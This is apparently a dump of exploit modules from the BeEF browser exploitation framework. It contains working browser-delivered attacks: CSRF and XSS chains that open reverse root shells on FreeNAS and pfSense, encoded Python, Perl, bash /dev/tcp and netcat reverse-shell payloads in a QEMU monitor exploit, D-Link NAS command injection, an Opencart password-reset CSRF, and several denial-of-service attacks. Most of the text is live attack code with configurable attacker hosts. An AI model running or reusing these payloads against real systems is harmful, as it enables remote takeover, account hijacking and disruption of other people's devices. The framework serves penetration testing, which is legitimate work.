    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\t// container iframe\n\tvar winmail_container = document.createElement('iframe');\n\twinmail_container.setAttribute('id',    'winmail');\n\twinmail_container.setAttribute('style', 'display:none');\n\tdocument.body.appendChild(winmail_container);\n\n\t// initiate 10 nntp connections\n\t// 8 to trigger bug + 2 in case the user manages to close some\n\tvar protocol_iframe;\n\tfor(var i=1;i<=10;i++) {\n\t\tprotocol_iframe = document.createElement('iframe');\n\t\tprotocol_iframe.setAttribute('src',   'nntp://127.0.0.1:119//');\n\t\tprotocol_iframe.setAttribute('id',    'winmail'+i);\n\t\tprotocol_iframe.setAttribute('style', 'display:none');\n\t\twinmail_container.contentWindow.document.body.appendChild(protocol_iframe);\n\t}\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"complete\");\n\n\tdocument.body.removeChild(document.getElementById('winmail'));\n\n});\n"
  },
  {
    "path": "modules/exploits/local_host/window_mail_client_dos/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        windows_mail_client_dos:\n            enable: true\n            category: [\"Exploits\", \"Local Host\"]\n            name: \"Windows Mail Client DoS\"\n            description: \"This module exploits an unhandled exception in Windows Mail to crash the client remotely.<br /><br />Windows Mail is launched and then crashed if it is not already open. It comes installed by default on Windows Vista (but it's also vulnerable on Windows 7 SP2).<br /><br />The protocol handler used will be: nntp.\"\n            authors: [\"bcoles\"]\n            target:\n                user_notify: [\"FF\"]\n                not_working: [\"All\"]\n"
  },
  {
    "path": "modules/exploits/local_host/window_mail_client_dos/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Windows_mail_client_dos < BeEF::Core::Command\nend\n"
  },
  {
    "path": "modules/exploits/nas/dlink_sharecenter_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n\tvar gateway = '<%= @base %>'; \n\tvar path    = '/cgi-bin/system_mgr.cgi';\n\tvar cmd     = '<%= @cmd.gsub(/'/, \"\\\\\\'\").gsub(/\"/, '\\\\\\\"') %>';\n\tvar timeout = 15;\n\n\tvar dlink_sharecenter_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + path, \"GET\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'cmd',      'value':'cgi_sms_test'},\n\t\t{'type':'hidden', 'name':'command1', 'value':cmd}\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\tcleanup = function() {\n\t\tdocument.body.removeChild(dlink_sharecenter_iframe_<%= @command_id %>);\n\t}\n\tsetTimeout(\"cleanup()\", timeout*1000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/nas/dlink_sharecenter_cmd_exec/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        dlink_sharecenter_cmd_exec:\n            enable: true\n            category: [\"Exploits\", \"NAS\"]\n            name: \"D-Link ShareCenter Command Execution\"\n            description: \"Attempts to execute arbitrary commands on a D-Link ShareCenter NAS. Multiple models are affected, including DNS-320 and DNS-325, however this module has not been tested.<br/><br/>For more information see, http://blog.emaze.net/2012_02_01_archive.html\"\n            authors: [\"bcoles\", \"Roberto Paleari, Emaze Networks S.p.A.\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/nas/dlink_sharecenter_cmd_exec/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n###\n# This module has not been tested. For more information see:\n# http://blog.emaze.net/2012_02_01_archive.html\n# http://www.securityfocus.com/archive/1/521532\n###\nclass Dlink_sharecenter_cmd_exec < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://192.168.0.1/' },\n      { 'name' => 'cmd', 'ui_label' => 'Command', 'value' => 'ls' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/nas/freenas_reverse_root_shell_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>'; \n  var rport = '<%= @rport %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n  var sid   = Math.floor(Math.random()*1000)+1;\n\n  var freenas_add_user_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();\n  freenas_add_user_iframe_<%= @command_id %>.setAttribute('src', 'http://'+rhost+':'+rport+'/system/terminal/?s='+sid+'&k=%70%79%74%68%6f%6e%20%2d%63%20%22%69%6d%70%6f%72%74%20%73%6f%63%6b%65%74%2c%73%75%62%70%72%6f%63%65%73%73%2c%6f%73%3b%68%6f%73%74%3d%5c%22'+lhost+'%5c%22%3b%70%6f%72%74%3d'+lport+'%3b%73%3d%73%6f%63%6b%65%74%2e%73%6f%63%6b%65%74%28%73%6f%63%6b%65%74%2e%41%46%5f%49%4e%45%54%2c%73%6f%63%6b%65%74%2e%53%4f%43%4b%5f%53%54%52%45%41%4d%29%3b%73%2e%63%6f%6e%6e%65%63%74%28%28%68%6f%73%74%2c%70%6f%72%74%29%29%3b%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%30%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%31%29%3b%20%6f%73%2e%64%75%70%32%28%73%2e%66%69%6c%65%6e%6f%28%29%2c%32%29%3b%70%3d%73%75%62%70%72%6f%63%65%73%73%2e%63%61%6c%6c%28%5b%5c%22%2f%62%69%6e%2f%73%68%5c%22%2c%5c%22%2d%69%5c%22%5d%29%3b%22%0d');\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(freenas_add_user_iframe_<%= @command_id %>);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/nas/freenas_reverse_root_shell_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n################################################################################\n# For more information see: http://support.freenas.org/ticket/1788\n################################################################################\nbeef:\n    module:\n        freenas_reverse_root_shell_csrf:\n            enable: true\n            category: [\"Exploits\", \"NAS\"]\n            name: \"FreeNAS Reverse Root Shell CSRF\"\n            description: \"Attempts to get a reverse root shell on a FreeNAS server.<br/>Tested on version 8.2.0 however other versions are likely to be vulnerable.<br/>Patched in version 8.3.0-BETA3.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/nas/freenas_reverse_root_shell_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n################################################################################\n# For more information see: http://support.freenas.org/ticket/1788\n################################################################################\nclass Freenas_reverse_root_shell_csrf < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    lhost = @configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/ntfscommoncreate_dos/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var dom = beef.dom.createInvisibleIframe();\n  var num_images = 100;\n\n  beef.debug('[NtfsCommonCreate DoS] Initiating ' + num_images + ' requests to $MFT...');\n  for (var i = 0; i <= num_images; i++) {\n    var path = 'C:/$MFT/' + Math.random().toString(36).substring(2,10);\n    var img = new Image;\n    img.src = 'file:///' + path;\n    dom.appendChild(img);\n  }\n\n  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=DoS request sent');\n});\n\n"
  },
  {
    "path": "modules/exploits/ntfscommoncreate_dos/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ntfscommoncreate_dos:\n            enable: true\n            category: \"Exploits\"\n            name: \"NtfsCommonCreate DoS\"\n            description: \"This module attempts to hang the browser and cause system instability by abusing a flaw in <a href='http://securitytracker.com/id/1038575'>NtfsCommonCreate</a>. Affects Microsoft Windows Vista, 7 and 8.1.\"\n            authors: [\"bcoles\", \"anatolymik\"]\n            target:\n                working: [\"IE\"]\n"
  },
  {
    "path": "modules/exploits/ntfscommoncreate_dos/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Ntfscommoncreate_dos < BeEF::Core::Command\n  def self.options\n    []\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/opencart_reset_password/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var base     = '<%= @base %>'; \n  var password = '<%= @password %>';\n\n  var opencart_reset_password_iframe = beef.dom.createIframeXsrfForm(base, \"POST\", \"application/x-www-form-urlencoded\", [\n    {'type':'hidden', 'name':'password', 'value':password},\n    {'type':'hidden', 'name':'confirm',  'value':password}\n  ]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(opencart_reset_password_iframe);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/opencart_reset_password/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        opencart_reset_password:\n            enable: true\n            category: \"Exploits\"\n            name: \"Opencart Reset Password CSRF\"\n            description: \"Attempts to reset an Opencart user's password.\"\n            authors: [\"Saadat Ullah\", \"bcoles\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/opencart_reset_password/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# This module has not been tested\nclass Opencart_reset_password < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'base', 'ui_label' => 'Opencart path', 'value' => 'http://example.com/index.php?route=account/password' },\n      { 'name' => 'password', 'ui_label' => 'Password', 'value' => 'beefbeef' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar rhost = '<%= @rhost %>'; \n\tvar rport = '<%= @rport %>';\n\tvar lhost = '<%= @lhost %>';\n\tvar lport = '<%= @lport %>';\n\tvar hook = beef.net.httpproto + \"://\" + beef.net.host + \":\" + beef.net.port + \"/x.js\";\n\n\tvar target = 'http://' + rhost + ':' + rport + '/status_captiveportal_expire.php?zone=\"><script src=\"' + hook + '\"></script>#lhostlport=' + lhost + ':' + lport + '&redir=' + encodeURIComponent(document.location);\n\n\t// Add dynamicaly the <meta> tag to disable referrer forwarding (pfSense check if the referrer is different, but uncheck if it's an empty referrer).\n\tbeef.debug(\"[Pfsense_2_3_2_reverse_root_shell_csrf] Disable referrer forwarding in the hooked page (bypass pfSense referrer analysis).\");\n\tvar meta = document.createElement('meta');\n\tmeta.name = \"referrer\";\n\tmeta.content = \"no-referrer\";\n\tdocument.getElementsByTagName('head')[0].appendChild(meta); \n\n\t// Force redirection of the hooked page to the pfSense XSS-GET/CSRF-with-token/RCE-root payload (without referrer and X-frame-option bypass)\n\t// A full redirection is needed because pfSense disallow framing via X-frame-origin header...\n\t// The current URL of the hooked page is sent via the payload to redirect back after few second\n\tbeef.debug(\"[Pfsense_2_3_2_reverse_root_shell_csrf] Go to the pfSense XSS-GET vulnerable page to load the payload in pfSense context (bypass X-Frame-Origin).\");\n\tdocument.location = target;\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=OK: Reverse shell should have been triggered.\", beef.are.status_unknown());\n});\n\n"
  },
  {
    "path": "modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        pfsense_2_3_2_reverse_root_shell_csrf:\n            enable: true\n            category: [\"Exploits\", \"pfSense\"]\n            name: \"pfSense <= 2.3.2 Reverse Root Shell CSRF\"\n            description: \"Attempts to get a reverse root shell on a pfSense 2.3.2 firewall/router.<br /><a target='_blank' href='https://pfsense.org/security/advisories/pfSense-SA-17_01.webgui.asc'>Vulnerablity</a> found and PoC provided by <a target='_blank' href='https://www.linkedin.com/in/yann-cam-621b0b42'>Yann CAM</a> <a target='_blank' href='https://www.asafety.fr'>@ASafety</a> / <a target='_blank' href='http://www.synetis.com'>Synetis</a> (<a target='_blank' href='https://www.youtube.com/watch?v=IWtf6LlfP_c'>demo video</a>).<br />Patched in version <a target='_blank' href='https://doc.pfsense.org/index.php/2.3.3_New_Features_and_Changes'>2.3.33</a>.\"\n            authors: [\"ycam\"]\n            target:\n                user_notify: [\"FF\"]\n"
  },
  {
    "path": "modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Pfsense_2_3_2_reverse_root_shell_csrf < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js', '/x', 'js')\n  end\n\n  def self.options\n    configuration = BeEF::Core::Configuration.instance\n    lhost = configuration.get('beef.http.host').to_s\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.0.254' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '80' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind('x.js')\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/pfsense/pfsense_2.3.2_reverse_root_shell_csrf/x.js",
    "content": "// Function Ajax without JQuery library\nfunction ajax(url, method, data, async){\n    method = typeof method !== 'undefined' ? method : 'GET';\n    async = typeof async !== 'undefined' ? async : false;\n    if(window.XMLHttpRequest)\n        var xhReq = new XMLHttpRequest();\n    else\n        var xhReq = new ActiveXObject(\"Microsoft.XMLHTTP\");\n\n    if(method == 'POST'){\n        xhReq.open(method, url, async);\n        xhReq.setRequestHeader(\"Content-type\", \"application/x-www-form-urlencoded\");\n        xhReq.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n        xhReq.send(data);\n    } else {\n        if(typeof data !== 'undefined' && data !== null)\n            url = url+'?'+data;\n        xhReq.open(method, url, async);\n        xhReq.setRequestHeader(\"X-Requested-With\", \"XMLHttpRequest\");\n        xhReq.send(null);\n    }\n    var serverResponse = xhReq.responseText;\n\treturn serverResponse;\n}\n\nvar hash = window.location.hash.substring(1);\nvar lhostlport = hash.substring(hash.indexOf(\"lhostlport=\")+11, hash.indexOf(\"&\"));\nvar splitlhostlport = lhostlport.split(\":\");\nvar lhost = splitlhostlport[0];\nvar lport = splitlhostlport[1];\nvar redir = hash.substring(hash.indexOf(\"redir=\")+6, hash.length);\n\nvar payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%26%27%29%3B';\n\n// Function with AJAX request\n// This function requests in GET an internal WebGUI page, which contains the token.\n// Source code of this webpage is passed to the extractToken() function.\nfunction loadToken(){\n\tvar response = ajax('/diag_command.php');\n\textractToken(response);\n}\n \n// Function called after AJAX request in a defined page of the context, which contains the token value\nfunction extractToken(response){\n\t// response var contains the source code of the page requested by AJAX\n\t// Regex to catch the token value\n\tvar regex = new RegExp(\"<input type='hidden' name='__csrf_magic' value=\\\"(.*)\\\" />\",'gi');\n\tvar token = response.match(regex);\n\ttoken = RegExp.$1;\n\t// Pass the token to the final function which make the CSRF final attack\n\tmakeCSRF(token);\n}\n \n// Function with AJAX request\n// The token var is needed to perform the right CSRF attack with the context referer\nfunction makeCSRF(token){\n\t// Final CSRF attack with right referer (because executed in the context)\n\t// and with right token captured above\n\tvar response = ajax('/diag_command.php', 'POST', 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token);\n\t// Finally, redirect back to the initial hooked page\n\tdocument.location=decodeURIComponent(redir);\n}\n\n// The Reflected XSS is triggered several time. The next code force the RXSS firering only one time\nif (trigger){\n} else {\n    var trigger = function(){\n\t\tloadToken();\n\t};\n\ttrigger();\n}\n"
  },
  {
    "path": "modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>'; \n  var rport = '<%= @rport %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n\n  var pfsense_iframe = beef.dom.createIframeXsrfForm(\"https://\" + rhost + \":\" + rport +\"/system_firmware.php\", \"POST\", \"application/x-www-form-urlencoded\",\n    [{'type':'hidden', 'name':'kerneltype', 'value':'SMP > /boot/kernel/pfsense_kernel.txt;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ' + lhost + ' ' + lport + ' >/tmp/f &'}]);\n\n  beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n  cleanup = function() {\n    document.body.removeChild(pfsense_iframe);\n  }\n  setTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        pfsense_reverse_root_shell_csrf:\n            enable: true\n            category: [\"Exploits\", \"pfSense\"]\n            name: \"pfSense Reverse Root Shell CSRF\"\n            description: \"Attempts to get a reverse root shell on a pfSense 2.0.1 firewall/router.<br />Vulnerablity found and PoC provided by Yann CAM @ Synetis.<br />The method described by <a href='http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet'>Jeff Price</a> has been used to create a reverse shell with netcat.<br />For more information refer to <a href='http://www.exploit-db.com/exploits/23901/'>http://www.exploit-db.com/exploits/23901/</a><br />Patched in version 2.0.2.\"\n            authors: [\"bmantra\"]\n            target:\n                working: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/pfsense/pfsense_reverse_root_shell_csrf/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Pfsense_reverse_root_shell_csrf < BeEF::Core::Command\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    lhost = @configuration.beef_host\n    lhost = '' if lhost == '0.0.0.0'\n    [\n      { 'name' => 'rhost', 'ui_label' => 'Target Host', 'value' => '192.168.1.1' },\n      { 'name' => 'rport', 'ui_label' => 'Target Port', 'value' => '443' },\n      { 'name' => 'lhost', 'ui_label' => 'Local Host',  'value' => lhost },\n      { 'name' => 'lport', 'ui_label' => 'Local Port',  'value' => '4444' }\n    ]\n  end\n\n  def post_execute\n    save({ 'result' => @datastore['result'] })\n  end\nend\n"
  },
  {
    "path": "modules/exploits/php-5.3.9-dos/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n// Simple proof of concept for PHP 5.3.9 DoS bug (CVE-2012-0830)\n// PoC written by Paul Westin\n// PoC ported to BeEF by bcoles\n// Bug discovered by Stefan Esser (@i0n1c)\n// For more information see http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/\n\n// Generate 1000 normal keys and one array\nfunction createEvilObj () {\n    var evil_obj = {};\n    for (var i = 0; i < 1001; i++) {\n        evil_obj[i] = 1;\n    }\n    evil_obj['kill[]'] = 'kill';\n    return evil_obj;\n}\n\n// Serialize Javascript object into POST data\nfunction serializeObj (obj) {\n    var str = [];\n    for(var p in obj) {\n        str.push(p + \"=\" + obj[p]);\n    }\n    return str.join(\"&\");\n}\n\n// Run attack\nfunction php_dos (target_url) {\n    var bad = serializeObj(createEvilObj());\n    var xhr = new XMLHttpRequest();\n    xhr.open(\"POST\", target_url, true);\n    xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');\n    xhr.setRequestHeader('Content-Length', bad.length);\n    xhr.send(bad);\n}\n\ntry {\n    php_dos(\"<%= @url %>\");\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, \"result=DoS request sent\");\n} catch (e) {\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, \"fail=request failed with error: \"+e.toString());\n}\n\n});\n\n"
  },
  {
    "path": "modules/exploits/php-5.3.9-dos/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        php_dos:\n            enable: true\n            category: \"Exploits\"\n            name: \"PHP 5.3.9 DoS\"\n            description: \"This module uses the zombie browser to exploit a denial of service bug in PHP 5.3.9 (<a href='http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0830'>CVE-2012-0830</a>).<br/><br/>For more information, see <a href='http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/'>http://thexploit.com/sec/critical-php-remote-vulnerability-introduced-in-fix-for-php-hashtable-collision-dos/</a>.\"\n            authors: [\"bcoles\", \"Paul Westin\", \"Stefan Esser\"]\n            target:\n                unknown: [\"ALL\"]\n"
  },
  {
    "path": "modules/exploits/php-5.3.9-dos/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Php_dos < BeEF::Core::Command\n  def self.options\n    [\n      { 'name' => 'url', 'ui_label' => 'Target URL', 'type' => 'textarea', 'value' => 'http://example.com/index.php', 'width' => '400px', 'height' => '50px' }\n    ]\n  end\n\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result'] unless @datastore['result'].nil?\n    content['fail'] = @datastore['fail'] unless @datastore['fail'].nil?\n    save content\n  end\nend\n"
  },
  {
    "path": "modules/exploits/qemu_monitor_migrate_cmd_exec/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var rhost = '<%= @rhost %>';\n  var rport = '<%= @rport %>';\n  var lhost = '<%= @lhost %>';\n  var lport = '<%= @lport %>';\n  var timeout = 5;\n  var payload_name = '<%= @payload %>';\n  var peer = rhost + ':' + rport;\n\n  payload = function() {\n    var whitespace = '';\n    for (var i=0; i<Math.floor(Math.random()*10)+3; i++) whitespace += ' ';\n    var payload = '';\n    switch (payload_name) {\n      case \"reverse_python2\":\n        var cmd = \"import socket,subprocess,os;host='\"+lhost+\"';port=\"+lport+\";s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/sh','-i']);\"\n        cmd = cmd.replace(/,/g, whitespace+','+whitespace).replace(/;/g, whitespace+';'+whitespace)\n        var encoded_cmd = btoa(cmd);\n        payload = \"/usr/bin/python2 -c \\\\\\\"exec ( '\" + encoded_cmd + \"'.decode ( 'base64' ) )\\\\\\\"\";\n        payload = payload.replace(/ /g, whitespace);\n        break;\n      case \"reverse_netcat\":\n        payload = \"/bin/nc \" + lhost + \" \" + lport + \" -e /bin/sh\";\n        payload = payload.replace(/ /g, whitespace);\n        break;\n      case \"reverse_ruby\":\n        payload = \"ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\\\\\\\"\" + lhost + \"\\\\\\\",\\\\\\\"\" + lport + \"\\\\\\\");while(cmd=c.gets);IO.popen(cmd,\\\\\\\"r\\\\\\\"){|io|c.print io.read}end'\"\n        payload = payload.replace(/ /g, whitespace);\n        break;\n      default: // \"reverse_bash\"\n        payload = \"/bin/bash -c '/bin/bash -i >& /dev/tcp/\" + lhost + \"/\" + lport + \" 0>&1'\";\n        payload = payload.replace(/ /g, whitespace);\n        break;\n    }\n    return 'migrate \"exec:' + payload + '\"'\n  }\n\n  try {\n    var code = payload();\n    beef.debug(\"[qemu_monitor_migrate_cmd_exec] \" + peer + \" - Sending payload (\" + code.length + \" bytes)\");\n    var iframe_<%= @command_id %> = beef.dom.createIframeIpecForm(rhost, rport, \"/\", code);\n    beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n  } catch(e) {\n    beef.debug(\"[qemu_monitor_migrate_cmd_exec] \" + peer + \" - Exploit failed: \" + e.message);\n  }\n\n  cleanup = function() {\n    try {\n      document.body.removeChild(iframe_<%= @command_id %>);\n    } catch(e) {\n      beef.debug(\"[qemu_monitor_migrate_cmd_exec] Could not remove iframe: \" + e.message);\n    }\n  } \n  setTimeout(\"cleanup()\", timeout*1000);\n\n});\n"
  },
  {
    "path": "modules/exploits/qemu_monitor_migrate_cmd_exec/config.yaml",
